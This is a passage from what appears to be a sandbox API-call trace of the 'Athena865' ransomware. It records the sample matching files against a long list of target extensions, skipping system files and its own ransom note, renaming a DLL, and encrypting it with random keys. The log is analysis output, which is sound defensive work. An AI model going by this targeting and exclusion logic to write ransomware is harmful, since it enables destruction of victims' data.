lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0113.975] lstrlenW (lpString="pnz") returned 3 [0113.975] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0113.975] lstrlenW (lpString="qry") returned 3 [0113.975] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0113.975] lstrlenW (lpString="qvd") returned 3 [0113.975] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0113.975] lstrlenW (lpString="rbf") returned 3 [0113.975] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0113.975] lstrlenW (lpString="rctd") returned 4 [0113.975] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0113.975] lstrlenW (lpString="rod") returned 3 [0113.975] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0113.975] lstrlenW (lpString="rodx") returned 4 [0113.975] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0113.975] lstrlenW (lpString="rpd") returned 3 [0113.975] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0113.975] lstrlenW (lpString="rsd") returned 3 [0113.975] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0113.977] lstrlenW (lpString="sas7bdat") returned 8 [0113.977] lstrcmpiW (lpString1="hext.dll", lpString2="sas7bdat") returned -1 [0113.977] lstrlenW (lpString="sbf") returned 3 [0113.977] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0113.977] lstrlenW (lpString="scx") returned 3 [0113.977] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0113.978] lstrlenW (lpString="sdb") returned 3 [0113.978] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0113.978] lstrlenW (lpString="sdc") returned 3 [0113.978] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0113.978] lstrlenW (lpString="sdf") returned 3 [0113.978] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0113.978] lstrlenW (lpString="sis") returned 3 [0113.978] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0113.978] lstrlenW (lpString="spq") returned 3 [0113.978] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0113.978] lstrlenW (lpString="te") returned 2 [0113.978] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0113.978] lstrlenW (lpString="teacher") returned 7 [0113.978] lstrcmpiW (lpString1="ext.dll", lpString2="teacher") returned -1 [0113.978] lstrlenW (lpString="tmd") returned 3 [0113.978] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0113.978] lstrlenW (lpString="tps") returned 3 [0113.978] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0113.978] lstrlenW (lpString="trc") returned 3 [0113.978] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0113.978] lstrlenW (lpString="trc") returned 3 [0113.978] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0113.978] lstrlenW (lpString="trm") returned 3 [0113.978] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0113.978] lstrlenW (lpString="udb") returned 3 [0113.978] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0113.979] lstrlenW (lpString="udl") returned 3 [0113.979] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0113.979] lstrlenW (lpString="usr") returned 3 [0113.979] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0113.979] lstrlenW (lpString="v12") returned 3 [0113.979] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0113.979] lstrlenW (lpString="vis") returned 3 [0113.979] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0113.979] lstrlenW (lpString="vpd") returned 3 [0113.979] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0113.979] lstrlenW (lpString="vvv") returned 3 [0113.979] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0113.979] lstrlenW (lpString="wdb") returned 3 [0113.979] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0113.979] lstrlenW (lpString="wmdb") returned 4 [0113.979] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0113.979] lstrlenW (lpString="wrk") returned 3 [0113.979] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0113.979] lstrlenW (lpString="xdb") returned 3 [0113.979] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0113.979] lstrlenW (lpString="xld") returned 3 [0113.979] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0113.979] lstrlenW (lpString="xmlff") returned 5 [0113.979] lstrcmpiW (lpString1="t.dll", lpString2="xmlff") returned -1 [0113.979] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll.Athena865") returned 78 [0113.979] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoshext.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoshext.dll.athena865"), dwFlags=0x1) returned 1 [0113.981] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoshext.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0113.981] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1269648) returned 1 [0113.981] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0113.981] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0113.981] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0113.982] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0113.982] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0113.982] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0113.982] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x136290, lpName=0x0) returned 0x17c [0113.984] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x136290) returned 0x2d50000 [0114.030] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0114.031] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0114.031] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0114.031] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0114.031] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0114.031] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0114.031] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0114.031] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0114.031] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0114.031] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0114.032] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0114.032] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0114.032] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0114.032] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0114.042] CloseHandle (hObject=0x17c) returned 1 [0114.042] CloseHandle (hObject=0x154) returned 1 [0114.042] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0114.042] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0114.042] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0114.047] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc276d800, ftCreationTime.dwHighDateTime=0x1cab8aa, ftLastAccessTime.dwLowDateTime=0x6a050eb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc276d800, ftLastWriteTime.dwHighDateTime=0x1cab8aa, nFileSizeHigh=0x0, nFileSizeLow=0xdb50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOXEV.DLL", cAlternateFileName="")) returned 1 [0114.047] lstrcmpiW (lpString1="MSOXEV.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0114.047] lstrcmpiW (lpString1="MSOXEV.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0114.047] lstrcmpiW (lpString1="MSOXEV.DLL", lpString2=".") returned 1 [0114.047] lstrcmpiW (lpString1="MSOXEV.DLL", lpString2="..") returned 1 [0114.047] lstrcmpiW (lpString1="MSOXEV.DLL", lpString2="windows") returned -1 [0114.047] lstrcmpiW (lpString1="MSOXEV.DLL", lpString2="bootmgr") returned 1 [0114.047] lstrcmpiW (lpString1="MSOXEV.DLL", lpString2="temp") returned -1 [0114.047] lstrcmpiW (lpString1="MSOXEV.DLL", lpString2="pagefile.sys") returned -1 [0114.048] lstrcmpiW (lpString1="MSOXEV.DLL", lpString2="boot") returned 1 [0114.048] lstrcmpiW (lpString1="MSOXEV.DLL", lpString2="ids.txt") returned 1 [0114.048] lstrcmpiW (lpString1="MSOXEV.DLL", lpString2="ntuser.dat") returned -1 [0114.048] lstrcmpiW (lpString1="MSOXEV.DLL", lpString2="perflogs") returned -1 [0114.048] lstrcmpiW (lpString1="MSOXEV.DLL", lpString2="MSBuild") returned 1 [0114.048] lstrlenW (lpString="MSOXEV.DLL") returned 10 [0114.048] lstrcpyW (in: lpString1=0x241e8b8, lpString2="MSOXEV.DLL" | out: lpString1="MSOXEV.DLL") returned="MSOXEV.DLL" [0114.048] lstrlenW (lpString="MSOXEV.DLL") returned 10 [0114.048] lstrlenW (lpString="Athena865") returned 9 [0114.048] lstrcmpiW (lpString1="SOXEV.DLL", lpString2="Athena865") returned 1 [0114.048] lstrlenW (lpString=".dll") returned 4 [0114.048] lstrcmpiW (lpString1="MSOXEV.DLL", lpString2=".dll") returned 1 [0114.048] lstrlenW (lpString=".lnk") returned 4 [0114.048] lstrcmpiW (lpString1="MSOXEV.DLL", lpString2=".lnk") returned 1 [0114.048] lstrlenW (lpString=".ini") returned 4 [0114.048] lstrcmpiW (lpString1="MSOXEV.DLL", lpString2=".ini") returned 1 [0114.048] lstrlenW (lpString=".sys") returned 4 [0114.048] lstrcmpiW (lpString1="MSOXEV.DLL", lpString2=".sys") returned 1 [0114.048] lstrlenW (lpString="MSOXEV.DLL") returned 10 [0114.048] lstrlenW (lpString="bak") returned 3 [0114.048] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0114.048] lstrlenW (lpString="ba_") returned 3 [0114.048] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0114.048] lstrlenW (lpString="dbb") returned 3 [0114.048] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0114.048] lstrlenW (lpString="vmdk") returned 4 [0114.048] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0114.048] lstrlenW (lpString="rar") returned 3 [0114.048] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0114.048] lstrlenW (lpString="zip") returned 3 [0114.049] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0114.049] lstrlenW (lpString="tgz") returned 3 [0114.049] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0114.049] lstrlenW (lpString="vbox") returned 4 [0114.049] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0114.049] lstrlenW (lpString="vdi") returned 3 [0114.049] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0114.049] lstrlenW (lpString="vhd") returned 3 [0114.049] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0114.049] lstrlenW (lpString="vhdx") returned 4 [0114.049] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0114.049] lstrlenW (lpString="avhd") returned 4 [0114.049] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0114.049] lstrlenW (lpString="db") returned 2 [0114.049] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0114.049] lstrlenW (lpString="db2") returned 3 [0114.049] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0114.049] lstrlenW (lpString="db3") returned 3 [0114.049] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0114.049] lstrlenW (lpString="dbf") returned 3 [0114.049] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0114.049] lstrlenW (lpString="mdf") returned 3 [0114.049] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0114.049] lstrlenW (lpString="mdb") returned 3 [0114.049] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0114.049] lstrlenW (lpString="sql") returned 3 [0114.049] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0114.049] lstrlenW (lpString="sqlite") returned 6 [0114.049] lstrcmpiW (lpString1="EV.DLL", lpString2="sqlite") returned -1 [0114.049] lstrlenW (lpString="sqlite3") returned 7 [0114.050] lstrcmpiW (lpString1="XEV.DLL", lpString2="sqlite3") returned 1 [0114.050] lstrlenW (lpString="sqlitedb") returned 8 [0114.050] lstrcmpiW (lpString1="OXEV.DLL", lpString2="sqlitedb") returned -1 [0114.050] lstrlenW (lpString="xml") returned 3 [0114.050] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0114.050] lstrlenW (lpString="$er") returned 3 [0114.050] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0114.050] lstrlenW (lpString="4dd") returned 3 [0114.050] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0114.050] lstrlenW (lpString="4dl") returned 3 [0114.050] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0114.050] lstrlenW (lpString="^^^") returned 3 [0114.050] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0114.050] lstrlenW (lpString="abs") returned 3 [0114.050] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0114.050] lstrlenW (lpString="abx") returned 3 [0114.050] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0114.050] lstrlenW (lpString="accdb") returned 5 [0114.050] lstrcmpiW (lpString1="V.DLL", lpString2="accdb") returned 1 [0114.050] lstrlenW (lpString="accdc") returned 5 [0114.050] lstrcmpiW (lpString1="V.DLL", lpString2="accdc") returned 1 [0114.050] lstrlenW (lpString="accde") returned 5 [0114.050] lstrcmpiW (lpString1="V.DLL", lpString2="accde") returned 1 [0114.050] lstrlenW (lpString="accdr") returned 5 [0114.050] lstrcmpiW (lpString1="V.DLL", lpString2="accdr") returned 1 [0114.050] lstrlenW (lpString="accdt") returned 5 [0114.050] lstrcmpiW (lpString1="V.DLL", lpString2="accdt") returned 1 [0114.050] lstrlenW (lpString="accdw") returned 5 [0114.050] lstrcmpiW (lpString1="V.DLL", lpString2="accdw") returned 1 [0114.051] lstrlenW (lpString="accft") returned 5 [0114.051] lstrcmpiW (lpString1="V.DLL", lpString2="accft") returned 1 [0114.051] lstrlenW (lpString="adb") returned 3 [0114.051] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0114.051] lstrlenW (lpString="adb") returned 3 [0114.051] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0114.051] lstrlenW (lpString="ade") returned 3 [0114.051] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0114.051] lstrlenW (lpString="adf") returned 3 [0114.051] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0114.051] lstrlenW (lpString="adn") returned 3 [0114.051] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0114.051] lstrlenW (lpString="adp") returned 3 [0114.051] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0114.051] lstrlenW (lpString="alf") returned 3 [0114.051] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0114.051] lstrlenW (lpString="ask") returned 3 [0114.051] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0114.051] lstrlenW (lpString="btr") returned 3 [0114.051] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0114.051] lstrlenW (lpString="cat") returned 3 [0114.051] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0114.051] lstrlenW (lpString="cdb") returned 3 [0114.051] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0114.051] lstrlenW (lpString="ckp") returned 3 [0114.051] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0114.051] lstrlenW (lpString="cma") returned 3 [0114.051] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0114.051] lstrlenW (lpString="cpd") returned 3 [0114.051] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0114.052] lstrlenW (lpString="dacpac") returned 6 [0114.052] lstrcmpiW (lpString1="EV.DLL", lpString2="dacpac") returned 1 [0114.052] lstrlenW (lpString="dad") returned 3 [0114.052] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0114.052] lstrlenW (lpString="dadiagrams") returned 10 [0114.052] lstrlenW (lpString="daschema") returned 8 [0114.052] lstrcmpiW (lpString1="OXEV.DLL", lpString2="daschema") returned 1 [0114.052] lstrlenW (lpString="db-journal") returned 10 [0114.052] lstrlenW (lpString="db-shm") returned 6 [0114.052] lstrcmpiW (lpString1="EV.DLL", lpString2="db-shm") returned 1 [0114.052] lstrlenW (lpString="db-wal") returned 6 [0114.052] lstrcmpiW (lpString1="EV.DLL", lpString2="db-wal") returned 1 [0114.052] lstrlenW (lpString="dbc") returned 3 [0114.052] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0114.052] lstrlenW (lpString="dbs") returned 3 [0114.052] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0114.052] lstrlenW (lpString="dbt") returned 3 [0114.052] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0114.052] lstrlenW (lpString="dbv") returned 3 [0114.052] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0114.052] lstrlenW (lpString="dbx") returned 3 [0114.052] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0114.052] lstrlenW (lpString="dcb") returned 3 [0114.052] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0114.052] lstrlenW (lpString="dct") returned 3 [0114.052] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0114.052] lstrlenW (lpString="dcx") returned 3 [0114.052] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0114.052] lstrlenW (lpString="ddl") returned 3 [0114.052] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0114.053] lstrlenW (lpString="dlis") returned 4 [0114.053] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0114.053] lstrlenW (lpString="dp1") returned 3 [0114.053] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0114.053] lstrlenW (lpString="dqy") returned 3 [0114.053] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0114.053] lstrlenW (lpString="dsk") returned 3 [0114.053] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0114.053] lstrlenW (lpString="dsn") returned 3 [0114.053] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0114.053] lstrlenW (lpString="dtsx") returned 4 [0114.053] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0114.053] lstrlenW (lpString="dxl") returned 3 [0114.053] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0114.053] lstrlenW (lpString="eco") returned 3 [0114.053] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0114.053] lstrlenW (lpString="ecx") returned 3 [0114.053] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0114.053] lstrlenW (lpString="edb") returned 3 [0114.053] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0114.053] lstrlenW (lpString="epim") returned 4 [0114.053] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0114.053] lstrlenW (lpString="fcd") returned 3 [0114.053] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0114.053] lstrlenW (lpString="fdb") returned 3 [0114.053] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0114.054] lstrlenW (lpString="fic") returned 3 [0114.056] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0114.056] lstrlenW (lpString="flexolibrary") returned 12 [0114.056] lstrlenW (lpString="fm5") returned 3 [0114.056] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0114.056] lstrlenW (lpString="fmp") returned 3 [0114.056] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0114.056] lstrlenW (lpString="fmp12") returned 5 [0114.056] lstrcmpiW (lpString1="V.DLL", lpString2="fmp12") returned 1 [0114.056] lstrlenW (lpString="fmpsl") returned 5 [0114.056] lstrcmpiW (lpString1="V.DLL", lpString2="fmpsl") returned 1 [0114.057] lstrlenW (lpString="fol") returned 3 [0114.057] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0114.057] lstrlenW (lpString="fp3") returned 3 [0114.057] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0114.057] lstrlenW (lpString="fp4") returned 3 [0114.057] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0114.057] lstrlenW (lpString="fp5") returned 3 [0114.057] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0114.057] lstrlenW (lpString="fp7") returned 3 [0114.057] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0114.057] lstrlenW (lpString="fpt") returned 3 [0114.057] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0114.057] lstrlenW (lpString="frm") returned 3 [0114.057] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0114.057] lstrlenW (lpString="gdb") returned 3 [0114.057] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0114.057] lstrlenW (lpString="gdb") returned 3 [0114.057] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0114.057] lstrlenW (lpString="grdb") returned 4 [0114.057] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0114.057] lstrlenW (lpString="gwi") returned 3 [0114.057] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0114.057] lstrlenW (lpString="hdb") returned 3 [0114.057] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0114.057] lstrlenW (lpString="his") returned 3 [0114.057] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0114.057] lstrlenW (lpString="ib") returned 2 [0114.057] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0114.057] lstrlenW (lpString="idb") returned 3 [0114.058] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0114.058] lstrlenW (lpString="ihx") returned 3 [0114.058] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0114.058] lstrlenW (lpString="itdb") returned 4 [0114.058] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0114.058] lstrlenW (lpString="itw") returned 3 [0114.058] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0114.058] lstrlenW (lpString="jet") returned 3 [0114.058] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0114.058] lstrlenW (lpString="jtx") returned 3 [0114.058] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0114.058] lstrlenW (lpString="kdb") returned 3 [0114.058] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0114.058] lstrlenW (lpString="kexi") returned 4 [0114.058] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0114.058] lstrlenW (lpString="kexic") returned 5 [0114.058] lstrcmpiW (lpString1="V.DLL", lpString2="kexic") returned 1 [0114.058] lstrlenW (lpString="kexis") returned 5 [0114.058] lstrcmpiW (lpString1="V.DLL", lpString2="kexis") returned 1 [0114.058] lstrlenW (lpString="lgc") returned 3 [0114.058] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0114.058] lstrlenW (lpString="lwx") returned 3 [0114.058] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0114.058] lstrlenW (lpString="maf") returned 3 [0114.058] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0114.058] lstrlenW (lpString="maq") returned 3 [0114.058] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0114.058] lstrlenW (lpString="mar") returned 3 [0114.058] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0114.059] lstrlenW (lpString="marshal") returned 7 [0114.059] lstrcmpiW (lpString1="XEV.DLL", lpString2="marshal") returned 1 [0114.059] lstrlenW (lpString="mas") returned 3 [0114.059] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0114.059] lstrlenW (lpString="mav") returned 3 [0114.059] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0114.059] lstrlenW (lpString="maw") returned 3 [0114.059] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0114.059] lstrlenW (lpString="mdbhtml") returned 7 [0114.059] lstrcmpiW (lpString1="XEV.DLL", lpString2="mdbhtml") returned 1 [0114.059] lstrlenW (lpString="mdn") returned 3 [0114.059] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0114.059] lstrlenW (lpString="mdt") returned 3 [0114.059] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0114.059] lstrlenW (lpString="mfd") returned 3 [0114.059] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0114.059] lstrlenW (lpString="mpd") returned 3 [0114.059] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0114.059] lstrlenW (lpString="mrg") returned 3 [0114.059] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0114.059] lstrlenW (lpString="mud") returned 3 [0114.059] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0114.059] lstrlenW (lpString="mwb") returned 3 [0114.059] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0114.059] lstrlenW (lpString="myd") returned 3 [0114.059] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0114.059] lstrlenW (lpString="ndf") returned 3 [0114.059] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0114.060] lstrlenW (lpString="nnt") returned 3 [0114.060] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0114.060] lstrlenW (lpString="nrmlib") returned 6 [0114.060] lstrcmpiW (lpString1="EV.DLL", lpString2="nrmlib") returned -1 [0114.060] lstrlenW (lpString="ns2") returned 3 [0114.060] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0114.060] lstrlenW (lpString="ns3") returned 3 [0114.060] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0114.060] lstrlenW (lpString="ns4") returned 3 [0114.060] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0114.060] lstrlenW (lpString="nsf") returned 3 [0114.060] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0114.060] lstrlenW (lpString="nv") returned 2 [0114.060] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0114.060] lstrlenW (lpString="nv2") returned 3 [0114.060] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0114.060] lstrlenW (lpString="nwdb") returned 4 [0114.060] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0114.060] lstrlenW (lpString="nyf") returned 3 [0114.060] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0114.060] lstrlenW (lpString="odb") returned 3 [0114.060] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0114.060] lstrlenW (lpString="odb") returned 3 [0114.060] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0114.060] lstrlenW (lpString="oqy") returned 3 